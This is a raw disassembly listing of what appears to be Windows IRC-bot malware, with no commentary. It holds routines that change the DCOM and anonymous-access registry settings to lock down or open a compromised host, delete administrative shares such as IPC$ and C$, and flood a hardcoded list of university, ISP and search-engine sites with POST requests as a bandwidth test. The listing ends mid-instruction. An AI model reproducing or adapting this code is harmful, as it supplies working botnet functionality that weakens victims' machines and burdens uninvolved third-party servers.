sub_419B0F+45j push offset unk_439950 push ebx push dword_4DB238 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push 1 nop call near ptr 26E0000h loc_419C19: ; CODE XREF: sub_419B0F+6Bj call sub_419A20 push offset unk_439928 push ebx push dword_4DB238 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi call near ptr 26E0000h nop loc_419C41: ; CODE XREF: sub_419B0F+C3j push offset unk_4398F8 push ebx push dword_4DB238 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi nop call near ptr 26E0000h sub_419B0F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C64 proc near ; CODE XREF: sub_401ACD+2507p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_419A20 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset dword_433514 push esi call dword_4CB030 test eax, eax jz loc_419D5E push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_4270FC push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_419D5E lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_419D5E mov edi, dword_4270F8 push 3 push esi push esi push offset dword_4DB1FC call edi push eax push [ebp+var_8] call edi push eax nop call near ptr 2710000h test eax, eax jz short loc_419D5E push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41B590 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset dword_43D128 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si nop call near ptr 2660B41h test eax, eax jnz short loc_419D66 loc_419D5E: ; CODE XREF: sub_419C64+2Fj ; sub_419C64+5Cj ... or eax, 0FFFFFFFFh jmp loc_419E14 ; --------------------------------------------------------------------------- loc_419D66: ; CODE XREF: sub_419C64+F8j push [ebp+var_4] mov edi, dword_427068 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4DB1F8, eax mov eax, [ebp+var_8] mov dword_4DB200, eax mov eax, [ebp+var_2C] mov dword_4DB1F4, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4DB238, eax jz short loc_419DA0 push [ebp+arg_4] jmp short loc_419DA1 ; --------------------------------------------------------------------------- loc_419DA0: ; CODE XREF: sub_419C64+135j push ebx loc_419DA1: ; CODE XREF: sub_419C64+13Aj push offset dword_4DB204 call sub_41B886 pop ecx pop ecx push esi push 0Ah push offset unk_4399B4 call sub_40B0F6 mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43DEB8[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_419B0F push esi push esi nop call near ptr 2680000h cmp eax, esi mov dword_43DEC4[edi], eax jnz short loc_419E12 nop call near ptr 2680925h push eax lea eax, [ebp+var_378] push offset unk_439980 push eax call sub_41B886 lea eax, [ebp+var_378] push eax call sub_4151AC add esp, 10h loc_419E12: ; CODE XREF: sub_419C64+185j xor eax, eax loc_419E14: ; CODE XREF: sub_419C64+FDj pop edi pop esi pop ebx leave retn sub_419C64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E19 proc near ; DATA XREF: sub_401ACD+2E0Bo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_419E60 call sub_419E79 jmp short loc_419E65 ; --------------------------------------------------------------------------- loc_419E60: ; CODE XREF: sub_419E19+3Ej call sub_41A19D loc_419E65: ; CODE XREF: sub_419E19+45j add esp, 10h push [ebp+var_14] call sub_40B412 pop ecx push 0 nop call near ptr 26E0000h sub_419E19 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E79 proc near ; CODE XREF: sub_419E19+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4CB044, edi jnz loc_419FAB lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CAFE4 test eax, eax jnz short loc_419F04 mov ax, word_43872C mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CAF98 test eax, eax jz short loc_419EE6 push offset dword_439C50 jmp short loc_419EEB ; --------------------------------------------------------------------------- loc_419EE6: ; CODE XREF: sub_419E79+64j push offset dword_439C30 loc_419EEB: ; CODE XREF: sub_419E79+6Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_419F17 ; --------------------------------------------------------------------------- loc_419F04: ; CODE XREF: sub_419E79+36j lea eax, [ebp+var_214] push offset dword_439C00 push eax call sub_41B886 pop ecx pop ecx loc_419F17: ; CODE XREF: sub_419E79+89j cmp [ebp+arg_C], edi jnz short loc_419F36 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_419F36: ; CODE XREF: sub_419E79+A1j lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CAFE4 test eax, eax jnz short loc_419FA4 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4CAF98 test eax, eax jz short loc_419F86 push offset dword_439BB0 jmp short loc_419F8B ; --------------------------------------------------------------------------- loc_419F86: ; CODE XREF: sub_419E79+104j push offset dword_439B7C loc_419F8B: ; CODE XREF: sub_419E79+10Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_419FBE ; --------------------------------------------------------------------------- loc_419FA4: ; CODE XREF: sub_419E79+E2j push offset dword_439B40 jmp short loc_419FB0 ; --------------------------------------------------------------------------- loc_419FAB: ; CODE XREF: sub_419E79+13j push offset dword_439B10 loc_419FB0: ; CODE XREF: sub_419E79+130j lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx loc_419FBE: ; CODE XREF: sub_419E79+129j cmp [ebp+arg_C], edi jnz short loc_419FDD push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_419FDD: ; CODE XREF: sub_419E79+148j lea eax, [ebp+var_214] push eax call sub_4151AC cmp dword_4CB06C, edi pop ecx jnz loc_41A158 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A000: ; CODE XREF: sub_419E79+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4CAEB8 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A09D cmp eax, 0EAh jz short loc_41A09D mov esi, offset off_4399D8 loc_41A031: ; CODE XREF: sub_419E79+21Dj push dword ptr [esi] push edi call sub_418C6B pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41A048 push offset dword_439AEC jmp short loc_41A04D ; --------------------------------------------------------------------------- loc_41A048: ; CODE XREF: sub_419E79+1C6j push offset dword_439AC0 loc_41A04D: ; CODE XREF: sub_419E79+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A080 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A080: ; CODE XREF: sub_419E79+1EBj lea eax, [ebp+var_214] push eax call sub_4151AC add esi, 8 pop ecx cmp esi, offset off_4399F8 jb short loc_41A031 jmp loc_41A135 ; --------------------------------------------------------------------------- loc_41A09D: ; CODE XREF: sub_419E79+1AAj ; sub_419E79+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41A12C loc_41A0AC: ; CODE XREF: sub_419E79+2AFj mov edi, [esi] push edi call sub_41D817 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A121 push edi call sub_418B58 push eax push 0 call sub_418C6B add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A0DB push offset dword_439A9C jmp short loc_41A0E0 ; --------------------------------------------------------------------------- loc_41A0DB: ; CODE XREF: sub_419E79+259j push offset dword_439A70 loc_41A0E0: ; CODE XREF: sub_419E79+260j lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A114 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A114: ; CODE XREF: sub_419E79+27Fj lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx loc_41A121: ; CODE XREF: sub_419E79+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A0AC xor edi, edi loc_41A12C: ; CODE XREF: sub_419E79+22Dj push [ebp+var_8] call dword_4CB004 loc_41A135: ; CODE XREF: sub_419E79+21Fj cmp [ebp+var_10], 0EAh jz loc_41A000 lea eax, [ebp+var_214] push offset dword_439A48 push eax call sub_41B886 pop ecx pop ecx pop ebx jmp short loc_41A16B ; --------------------------------------------------------------------------- loc_41A158: ; CODE XREF: sub_419E79+177j lea eax, [ebp+var_214] push offset dword_439A18 push eax call sub_41B886 pop ecx pop ecx loc_41A16B: ; CODE XREF: sub_419E79+2DDj cmp [ebp+arg_C], edi jnz short loc_41A189 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A189: ; CODE XREF: sub_419E79+2F5j lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx push 1 pop eax pop edi pop esi leave retn sub_419E79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A19D proc near ; CODE XREF: sub_419E19:loc_419E60p var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4CB044, ebx push esi jnz loc_41A2CB lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CAFE4 test eax, eax jnz short loc_41A228 mov ax, word_438770 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CAF98 test eax, eax jz short loc_41A20A push offset dword_439DC8 jmp short loc_41A20F ; --------------------------------------------------------------------------- loc_41A20A: ; CODE XREF: sub_41A19D+64j push offset dword_439DAC loc_41A20F: ; CODE XREF: sub_41A19D+6Bj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_41A23B ; --------------------------------------------------------------------------- loc_41A228: ; CODE XREF: sub_41A19D+36j lea eax, [ebp+var_220] push offset dword_439C00 push eax call sub_41B886 pop ecx pop ecx loc_41A23B: ; CODE XREF: sub_41A19D+89j cmp [ebp+arg_C], ebx jnz short loc_41A25A push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A25A: ; CODE XREF: sub_41A19D+A1j lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CAFE4 test eax, eax jnz short loc_41A2C4 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4CAF98 test eax, eax jz short loc_41A2A6 push offset dword_439D6C jmp short loc_41A2AB ; --------------------------------------------------------------------------- loc_41A2A6: ; CODE XREF: sub_41A19D+100j push offset dword_439D34 loc_41A2AB: ; CODE XREF: sub_41A19D+107j lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_41A2DE ; --------------------------------------------------------------------------- loc_41A2C4: ; CODE XREF: sub_41A19D+E2j push offset dword_439CF8 jmp short loc_41A2D0 ; --------------------------------------------------------------------------- loc_41A2CB: ; CODE XREF: sub_41A19D+13j push offset dword_439B10 loc_41A2D0: ; CODE XREF: sub_41A19D+12Cj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx loc_41A2DE: ; CODE XREF: sub_41A19D+125j cmp [ebp+arg_C], ebx jnz short loc_41A2FD push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A2FD: ; CODE XREF: sub_41A19D+144j lea eax, [ebp+var_220] push eax call sub_4151AC cmp dword_4CB06C, ebx pop ecx jnz loc_41A472 push edi mov esi, offset off_4399D8 mov edi, 200h loc_41A321: ; CODE XREF: sub_41A19D+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_418BBF add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A33C push offset dword_439CD8 jmp short loc_41A341 ; --------------------------------------------------------------------------- loc_41A33C: ; CODE XREF: sub_41A19D+196j push offset dword_439CB0 loc_41A341: ; CODE XREF: sub_41A19D+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A370 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A370: ; CODE XREF: sub_41A19D+1B7j lea eax, [ebp+var_220] push eax call sub_4151AC add esi, 8 pop ecx cmp esi, offset off_4399E8 jb short loc_41A321 nop call near ptr 2840000h test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41A45A loc_41A39B: ; CODE XREF: sub_41A19D+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41A44F cmp bl, 41h jz loc_41A44F movsx esi, bl push esi push offset aC_1 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_0 ; "%c:\\" push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push eax call dword_4CAFD4 cmp eax, 3 jnz short loc_41A44F lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_418BBF add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41A40D push offset dword_439CD8 jmp short loc_41A412 ; --------------------------------------------------------------------------- loc_41A40D: ; CODE XREF: sub_41A19D+267j push offset dword_439CB0 loc_41A412: ; CODE XREF: sub_41A19D+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A442 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A442: ; CODE XREF: sub_41A19D+289j lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx loc_41A44F: ; CODE XREF: sub_41A19D+206j ; sub_41A19D+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_41A39B loc_41A45A: ; CODE XREF: sub_41A19D+1F8j lea eax, [ebp+var_220] push offset dword_439C80 push eax call sub_41B886 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41A485 ; --------------------------------------------------------------------------- loc_41A472: ; CODE XREF: sub_41A19D+173j lea eax, [ebp+var_220] push offset dword_439A18 push eax call sub_41B886 pop ecx pop ecx loc_41A485: ; CODE XREF: sub_41A19D+2D3j cmp [ebp+arg_C], ebx jnz short loc_41A4A3 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A4A3: ; CODE XREF: sub_41A19D+2EBj lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41A19D endp ; =============== S U B R O U T I N E ======================================= sub_41A4B7 proc near ; CODE XREF: sub_41A6AE+CBp ; sub_41A6AE+DDp ... arg_0 = dword ptr 4 nop call near ptr 269061Dh push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq idiv [esp+arg_0] mov eax, edx retn sub_41A4B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A4D1 proc near ; CODE XREF: sub_41A6AE+D4p ; sub_41A6AE+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41A6AA push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41B590 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40AAF9 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41A6AA push 50h call dword_4CAF74 push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4CAFF4 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41A6AA lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4CAF1C cmp eax, 0FFFFFFFFh jz loc_41A6AA push 32003h call sub_41CFC5 mov edi, dword_4270A8 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi push eax call sub_41B8D8 call sub_41B8E2 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41B590 push 32000h push esi push ebx call sub_41B590 push ebx call sub_41AFE0 push 323EAh mov ebx, eax call sub_41CFC5 add esp, 20h mov esi, eax push ebx push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41B886 push [ebp+var_8] push esi call sub_41BEC0 push offset asc_433824 ; "\r\n" push esi call sub_41BEC0 push esi call sub_41AFE0 mov ebx, eax add esp, 24h mov [ebp+var_10], ebx call edi mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41A62A mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41A5FA ; --------------------------------------------------------------------------- loc_41A5F7: ; CODE XREF: sub_41A4D1+157j mov eax, [ebp+arg_0] loc_41A5FA: ; CODE XREF: sub_41A4D1+124j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41A60A push [ebp+var_C] jmp short loc_41A60B ; --------------------------------------------------------------------------- loc_41A60A: ; CODE XREF: sub_41A4D1+132j push ebx loc_41A60B: ; CODE XREF: sub_41A4D1+137j add eax, esi push eax push [ebp+var_4] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz short loc_41A691 add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41A5F7 loc_41A62A: ; CODE XREF: sub_41A4D1+11Aj call edi sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_427714 fst [ebp+arg_0] fcomp flt_427710 fnstsw ax sahf jnz short loc_41A652 fld1 fstp [ebp+arg_0] loc_41A652: ; CODE XREF: sub_41A4D1+17Aj push [ebp+var_4] call dword_4CB00C push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_42770C fmul flt_427708 call sub_41C798 loc_41A68C: ; CODE XREF: sub_41A4D1+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A691: ; CODE XREF: sub_41A4D1+149j push [ebp+var_4] call dword_4CB00C push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx loc_41A6AA: ; CODE XREF: sub_41A4D1+19j ; sub_41A4D1+42j ... xor eax, eax jmp short loc_41A68C sub_41A4D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6AE proc near ; CODE XREF: sub_401ACD+2E61p var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41A4B7 push [ebp+eax*4+var_3C] call sub_41A4D1 push 8 mov esi, eax call sub_41A4B7 push [ebp+eax*4+var_3C] call sub_41A4D1 add esp, 10h test esi, esi jz short loc_41A7AF test eax, eax jz short loc_41A7AB lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41A7B1 ; --------------------------------------------------------------------------- loc_41A7AB: ; CODE XREF: sub_41A6AE+F4j mov ebx, esi jmp short loc_41A7B1 ; --------------------------------------------------------------------------- loc_41A7AF: ; CODE XREF: sub_41A6AE+F0j mov ebx, eax loc_41A7B1: ; CODE XREF: sub_41A6AE+FBj ; sub_41A6AE+FFj push 0Ch call sub_41A4B7 push [ebp+eax*4+var_6C] call sub_41A4D1 push 0Ch mov edi, eax call sub_41A4B7 push [ebp+eax*4+var_6C] call sub_41A4D1 add esp, 10h test edi, edi jz short loc_41A7E9 test eax, eax jz short loc_41A7E5 lea esi, [eax+edi] shr esi, 1 jmp short loc_41A7EB ; --------------------------------------------------------------------------- loc_41A7E5: ; CODE XREF: sub_41A6AE+12Ej mov esi, edi jmp short loc_41A7EB ; --------------------------------------------------------------------------- loc_41A7E9: ; CODE XREF: sub_41A6AE+12Aj mov esi, eax loc_41A7EB: ; CODE XREF: sub_41A6AE+135j ; sub_41A6AE+139j push 6 call sub_41A4B7 push [ebp+eax*4+var_1C] call sub_41A4D1 push 6 mov edi, eax call sub_41A4B7 push [ebp+eax*4+var_1C] call sub_41A4D1 add esp, 10h test edi, edi jz short loc_41A823 test eax, eax jz short loc_41A81F lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A81F: ; CODE XREF: sub_41A6AE+168j mov ecx, edi jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A823: ; CODE XREF: sub_41A6AE+164j mov ecx, eax loc_41A825: ; CODE XREF: sub_41A6AE+16Fj ; sub_41A6AE+173j xor eax, eax test ebx, ebx jz short loc_41A832 mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41A835 ; --------------------------------------------------------------------------- loc_41A832: ; CODE XREF: sub_41A6AE+17Bj push 2 pop edi loc_41A835: ; CODE XREF: sub_41A6AE+182j test esi, esi jz short loc_41A83D add eax, esi jmp short loc_41A83E ; --------------------------------------------------------------------------- loc_41A83D: ; CODE XREF: sub_41A6AE+189j dec edi loc_41A83E: ; CODE XREF: sub_41A6AE+18Dj test ecx, ecx jz short loc_41A846 add eax, ecx jmp short loc_41A847 ; --------------------------------------------------------------------------- loc_41A846: ; CODE XREF: sub_41A6AE+192j dec edi loc_41A847: ; CODE XREF: sub_41A6AE+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_439E20 push eax call sub_41B886 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_26C] push eax call sub_4151AC add esp, 30h pop edi pop esi pop ebx leave retn sub_41A6AE endp ; =============== S U B R O U T I N E ======================================= sub_41A88B proc near ; CODE XREF: sub_401ACD+25A0p ; sub_401ACD+2A10p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi call near ptr 269061Dh nop xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4DB240 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41B980 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41A88B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A8F4 proc near ; CODE XREF: sub_416F1A+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h nop call near ptr 26D05B7h test eax, eax jz short 